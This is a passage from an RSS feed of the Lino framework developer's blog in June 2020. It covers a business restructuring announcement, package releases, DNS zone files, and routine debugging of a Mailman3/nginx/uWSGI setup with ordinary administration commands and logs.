    &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;travis&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;virtualenv&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.6.10&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;trading&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;weasyprint&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;logo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jpg&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This is not a missing ellipsis.  Seems that Lino doesn’t find the local config
dir when running on travis. Maybe because lino_cache is being used.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0629.html</guid><pubDate>Mon, 29 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Lino reaches a new level</title><link>https://luc.lino-framework.org/blog/2020/0628.html</link><description>&lt;section id="lino-reaches-a-new-level"&gt;
&lt;h1&gt;Lino reaches a new level&lt;a class="headerlink" href="#lino-reaches-a-new-level" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sunday, June 28, 2020 (last edited Friday, July 3).&lt;/p&gt;
&lt;p&gt;We are entering a new chapter in the history of the Lino framework. Many
customers and friends have encouraged and supported me during the past years to
become a better salesman. I am grateful for these years, but one of the
important things I learned is the following.&lt;/p&gt;
&lt;p&gt;I am not the guy who is going to sell the big Lino vision. It is time for me to
step back from that chair.  Because somebody greater than me must sit there. We
all want &lt;em&gt;Lino&lt;/em&gt; to become big, but I don’t want to become big &lt;em&gt;myself&lt;/em&gt;. Lino
makes no sense if it is used by only one &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-development-provider" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;development provider&lt;/span&gt;&lt;/a&gt;. It makes
sense when many providers can use it as a shared tool to provide their services.
I don’t want Rumma &amp;amp; Ko to become yet another industry-level development
provider; the world has enough of those.&lt;/p&gt;
&lt;p&gt;We can now say that Lino has successfully passed the proof-of-concept state. We
have shown that it can be used for providing industry-level software
development.  The technical aspects are fully satisfying.&lt;/p&gt;
&lt;p&gt;The main bottleneck that prevents Lino from entering the next level is the
commercial side.  People who realize this bottleneck keep telling me things like
“Luc, you just need to publish a simple website for Lino Così that explains what
the product does and how to give it a try.” And I keep answering them
“I &lt;em&gt;just&lt;/em&gt; need to?
Don’t you know that this is what I am already doing on
&lt;a class="reference external" href="https://cosi.lino-framework.org/about.html"&gt;cosi.lino-framework.org&lt;/a&gt;?
Do you imagine how much time this took me?
Stop taking me for a magician!”&lt;/p&gt;
&lt;p&gt;Another bottleneck is that there is no reason to go faster than history. The
most important advantage of Lino –avoiding &lt;a class="reference external" href="https://www.synodalsoft.net/free/#term-vendor-lock-in" title="(in Synodalsoft)"&gt;&lt;span class="xref std std-term"&gt;vendor lock-in&lt;/span&gt;&lt;/a&gt;– is still very
difficult to sell. The breakthrough of free software is not yet achieved. Normal
managers still prefer a proprietary system over a sovereign system because
that’s cheaper and more comfortable. We all tend to value comfort over
sovereignty.   Normal people just shrug when I tell them that avoiding vendor
lock-in is more important than their comfort, or that  I will rather grow
potatoes and chicken than accepting to write non-free software. Lino exists only
because I am crazy enough to believe that open solutions will become the norm
some day. I am realistic enough to see that this day might not be very soon.&lt;/p&gt;
&lt;p&gt;And here is how this step will look like: Tonis and Hamza will no longer work
full-time for Rumma &amp;amp; Ko with a monthly salary, I will rather pay them per hour
or per task when there is some work to do.  They will remain available for cases
that require more work than I can do.   Their confidentiality statements with
Rumma &amp;amp; Ko will remain active and we will continue to fully trust them.  Rumma &amp;amp;
Ko will continue as before, all customer contracts will continue, and we will
accept new customers. This model can work sustainably as long as I am able to
work as a software developer.&lt;/p&gt;
&lt;p&gt;The switch will happen as soon as they found a new employer.  Given their skills
this won’t be too difficult. At the moment we think that Thorgate (Tallinn) want
Tonis and AbAKUS (Eupen) want Hamza.&lt;/p&gt;
&lt;p&gt;In other words, I send Tonis and Hamza into the world so that other software
development providers can use them.  I invested into them, paid their salary
while they were learning Lino, and now I “give them away” to my “competitors”. A
move that would look like a failure in a proprietary world but makes perfect
sense with free software.  The hope behind this move is that their new employers
will start Lino projects within their company or for their customers.&lt;/p&gt;
&lt;p&gt;The years with Hamza and Tonis were beautiful and enriching for me. They helped
me to grow at many levels. I discovered the beauty of social skills like
delegating, leading, managing, selling, manipulating and promoting. And I have
no problem with admitting that I am not very good at these skills. These years
helped me to learn about my vocation: I am not a boss who tells others what they
should do. I prefer listening to other people and then telling their computers
what to do in order to help them. I have valuable experience about how to make
business with customized database applications, but I prefer sharing this
experience by writing code and documentation.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0628.html</guid><pubDate>Sun, 28 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, June 27, 2020</title><link>https://luc.lino-framework.org/blog/2020/0627.html</link><description>&lt;section id="saturday-june-27-2020"&gt;
&lt;h1&gt;Saturday, June 27, 2020&lt;a class="headerlink" href="#saturday-june-27-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="miscellaneous"&gt;
&lt;h2&gt;Miscellaneous&lt;a class="headerlink" href="#miscellaneous" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I started to work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3465"&gt;#3465&lt;/a&gt; and added courses to &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt;.
En passant I renamed &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_amici.projects.herman&lt;/span&gt;&lt;/code&gt; to &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_amici.projects.amici1&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Six releases to PyPI (all with version 20.6.0) : Lino, XL, &lt;a class="reference external" href="https://react.lino-framework.org/index.html#react" title="(in Lino React)"&gt;&lt;span&gt;React front end for Lino&lt;/span&gt;&lt;/a&gt;,
&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt;, &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="lino-enters-a-new-level"&gt;
&lt;h2&gt;Lino enters a new level&lt;a class="headerlink" href="#lino-enters-a-new-level" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Today is yet another historic day for Lino.
I started to formulate the big news: &lt;a class="reference internal" href="0628.html"&gt;&lt;span class="doc"&gt;Lino reaches a new level&lt;/span&gt;&lt;/a&gt;.
It is yet another example of how the
big decisions in my life are actually not my own decisions; they seem to come
from outside and I just pronounce them.  I announced the news internally to
Tonis and Hamza on Thursday morning, and today I got their confirmations: we
are ready for the next level.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0627.html</guid><pubDate>Sat, 27 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Friday, June 26, 2020</title><link>https://luc.lino-framework.org/blog/2020/0626.html</link><description>&lt;section id="friday-june-26-2020"&gt;
&lt;h1&gt;Friday, June 26, 2020&lt;a class="headerlink" href="#friday-june-26-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3633"&gt;#3633&lt;/a&gt;. Lino has a new admin command &lt;a class="reference external" href="https://dev.lino-framework.org/dev/users.html#management_command-passwd" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;passwd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
And I reviewed the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/users.html#dev-users" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Introduction to user management&lt;/span&gt;&lt;/a&gt; page.&lt;/p&gt;
&lt;p&gt;I like the &lt;a class="reference external" href="https://pypi.org/project/click/"&gt;click&lt;/a&gt; package, which we
use extensively for &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;. I wanted to use this package also for the
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/users.html#management_command-passwd" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;passwd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command. But ouch! django-admin commands have special
requirements! No problem:  I discovered &lt;a class="reference external" href="https://pypi.org/project/django-click/"&gt;django-click&lt;/a&gt;, which is exactly what I needed now.&lt;/p&gt;
&lt;p&gt;Yes, Lino now requires both click and clint, which is a bit redundant. TODO:
convert &lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;checkdata&lt;/span&gt;&lt;/code&gt; to also use django-click instead of clint.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0626.html</guid><pubDate>Fri, 26 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, June 23, 2020</title><link>https://luc.lino-framework.org/blog/2020/0623.html</link><description>&lt;section id="tuesday-june-23-2020"&gt;
&lt;h1&gt;Tuesday, June 23, 2020&lt;a class="headerlink" href="#tuesday-june-23-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="about-zone-files"&gt;
&lt;h2&gt;About zone files&lt;a class="headerlink" href="#about-zone-files" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We own the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;mylino.net&lt;/span&gt;&lt;/code&gt; domain, and our registrar is &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ovh.com&lt;/span&gt;&lt;/code&gt;.
The OVH web interface lets us edit the zone file for our domain.
But this interface is meant for simple setups.
The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;mylino.net&lt;/span&gt;&lt;/code&gt; zone file is more complex than usual as it is used for several servers.
That’s why we probably prefer to edit the file directly.
Which has another advantage: we can store a local backup of our zone file on our computers.&lt;/p&gt;
&lt;p&gt;I did this and had a look at our zone file. I am far from understanding every
detail in this file.
The Wikipedia article on &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Zone_file"&gt;Zone file&lt;/a&gt;
is useful here because it has a section about the file format.&lt;/p&gt;
&lt;p&gt;If the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;$ORIGIN&lt;/span&gt;&lt;/code&gt; keyword (which specifies the starting point for the zone in
the DNS hierarchy) is omitted, the origin is inferred by the server software
from the reference to the zone file in its server configuration.&lt;/p&gt;
&lt;p&gt;The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;$TTL&lt;/span&gt;&lt;/code&gt; keyword specifies the default expiration time of all resource
records without their own TTL value.&lt;/p&gt;
&lt;p&gt;As a minimum, the zone file must specify the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;SOA&lt;/span&gt;&lt;/code&gt; record (Start of Authority)
with the name of the authoritative master name server for the zone and the email
address of someone responsible for management of the name server. The email
address in the SOA RR has the &amp;#64; symbol replaced by a period.&lt;/p&gt;
&lt;p&gt;In the zone file, host names that do not end in a period are relative to the
origin. Names ending with a full stop (or point) are said to be fully qualified
domain names.&lt;/p&gt;
&lt;p&gt;Introductions into the DNS system:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Steve Cope explains basic concepts of DNS by comparing it to a football team in
his guide &lt;a class="reference external" href="http://www.steves-internet-guide.com/dns-zones-explained/"&gt;DNS Zones and Zone Files Explained&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.slashroot.in/what-dns-zone-file-complete-tutorial-zone-file-and-its-contents"&gt;What is a DNS ZONE file: A Complete Tutorial on zone file and its contents&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="configuring-the-avanti-server"&gt;
&lt;h2&gt;Configuring the avanti server&lt;a class="headerlink" href="#configuring-the-avanti-server" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I worked on avanti server (mdg2):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt-get install opendkim opendkim-tools
$ sudo nano /etc/opendkim.conf
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="configure-laudate-mailing-lists"&gt;
&lt;h2&gt;Configure laudate mailing lists&lt;a class="headerlink" href="#configure-laudate-mailing-lists" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://lists.laudate.ee/"&gt;https://lists.laudate.ee/&lt;/a&gt; says “502 Bad gateway”.&lt;/p&gt;
&lt;p&gt;The nginx error.log  says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;crit&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mi"&gt;750&lt;/span&gt;&lt;span class="c1"&gt;#750: *3828 connect() to&lt;/span&gt;
  &lt;span class="n"&gt;unix&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mailman&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mailman&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;suite&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mailman&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;suite_project&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mailman&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;
  &lt;span class="n"&gt;failed&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Permission&lt;/span&gt; &lt;span class="n"&gt;denied&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;connecting&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;upstream&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;176.46.90.31&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;lists&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET / HTTP/1.1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;upstream&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;uwsgi://unix:/opt/mailman/mailman-suite/mailman-suite_project/mailman.sock:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lists.laudate.ee&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I changed the user in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/supervisor/conf.d/mailman.conf&lt;/span&gt;&lt;/code&gt; from “hamza”
to “www-data”.&lt;/p&gt;
&lt;p&gt;I changed the owner of the socket file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo chown www-data:www-data /opt/mailman/mailman-suite/mailman-suite_project/mailman.sock
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now the error message changed from &lt;cite&gt;(13: Permission denied)&lt;/cite&gt; to &lt;cite&gt;(111: Connection refused)&lt;/cite&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mi"&gt;1791&lt;/span&gt;&lt;span class="c1"&gt;#1791: *6 connect() to&lt;/span&gt;
&lt;span class="n"&gt;unix&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mailman&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mailman&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;suite&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mailman&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;suite_project&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mailman&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;
&lt;span class="n"&gt;failed&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;111&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;refused&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;connecting&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;upstream&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;176.46.90.31&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;lists&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET / HTTP/1.1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;upstream&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;uwsgi://unix:/opt/mailman/mailman-suite/mailman-suite_project/mailman.sock:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lists.laudate.ee&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Aha, the files below &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/opt/mailman&lt;/span&gt;&lt;/code&gt; were not group-owned by &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;www-data&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now the connect works and I can see the mailman web interface. But it says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Something&lt;/span&gt; &lt;span class="n"&gt;went&lt;/span&gt; &lt;span class="n"&gt;wrong&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Mailman&lt;/span&gt; &lt;span class="n"&gt;REST&lt;/span&gt; &lt;span class="n"&gt;API&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;available&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Please&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="n"&gt;Mailman&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is the status of what I would call the “Mailman core”:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo service mailman3 status
● mailman3.service - LSB: Mailman3 server
   Loaded: loaded (/etc/init.d/mailman3; generated)
   Active: active (exited) since Tue 2020-06-23 09:11:16 CEST; 2s ago
     Docs: man:systemd-sysv-generator(8)
  Process: 2675 ExecStart=/etc/init.d/mailman3 start (code=exited, status=0/SUCCESS)

Jun 23 09:11:16 laudate systemd[1]: mailman3.service: Succeeded.
Jun 23 09:11:16 laudate systemd[1]: Stopped LSB: Mailman3 server.
Jun 23 09:11:16 laudate systemd[1]: Starting LSB: Mailman3 server...
Jun 23 09:11:16 laudate systemd[1]: Started LSB: Mailman3 server.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Looks okay, doesn’t it?&lt;/p&gt;
&lt;p&gt;The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/log/mailman3/uwsgi-error.log&lt;/span&gt;&lt;/code&gt; file says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;*** Starting uWSGI 2.0.18 (64bit) on [Sun Jun  7 01:08:30 2020] ***
compiled with version: 8.3.0 on 06 June 2020 23:03:41
os: Linux-4.19.0-8-amd64 #1 SMP Debian 4.19.98-1+deb10u1 (2020-04-27)
nodename: jane
machine: x86_64
clock source: unix
detected number of CPU cores: 2
current working directory: /opt/mailman/mailman-suite/mailman-suite_project
detected binary path: /opt/mailman/venv/bin/uwsgi
!!! no internal routing support, rebuild with pcre support !!!
cannot setgid() as non-root user
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I asked Ecosia about “mailman3 no internal routing support, rebuild with pcre
support” and found &lt;a class="reference external" href="https://stackoverflow.com/questions/21669354/rebuild-uwsgi-with-pcre-support"&gt;this page&lt;/a&gt;.
So I tried:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt-get install libpcre3 libpcre3-dev
libpcre3 is already the newest version (2:8.39-12).
The following additional packages will be installed:
  libpcre16-3 libpcre32-3 libpcrecpp0v5
The following NEW packages will be installed:
  libpcre16-3 libpcre3-dev libpcre32-3 libpcrecpp0v5

$ . /opt/mailman/venv/bin/activate
$ pip freeze | grep uWSGI
uWSGI==2.0.18
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But no, that didn’t help.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0623.html</guid><pubDate>Tue, 23 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Monday, June 22, 2020</title><link>https://luc.lino-framework.org/blog/2020/0622.html</link><description>&lt;section id="monday-june-22-2020"&gt;
&lt;h1&gt;Monday, June 22, 2020&lt;a class="headerlink" href="#monday-june-22-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="worker-has-no-field-named-purchase-account-id"&gt;
&lt;h2&gt;Worker has no field named ‘purchase_account_id’&lt;a class="headerlink" href="#worker-has-no-field-named-purchase-account-id" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The lino_xl.lib.clients plugin (in its &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;pre_site_startup()&lt;/span&gt;&lt;/code&gt; method) adds
a Shortcut &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;id_document&lt;/span&gt;&lt;/code&gt; with &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;quot;presto.Client&amp;quot;`&lt;/span&gt;&lt;/code&gt; as &lt;cite&gt;model_spec&lt;/cite&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pre_site_startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;add&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uploads&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Shortcuts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_item&lt;/span&gt;
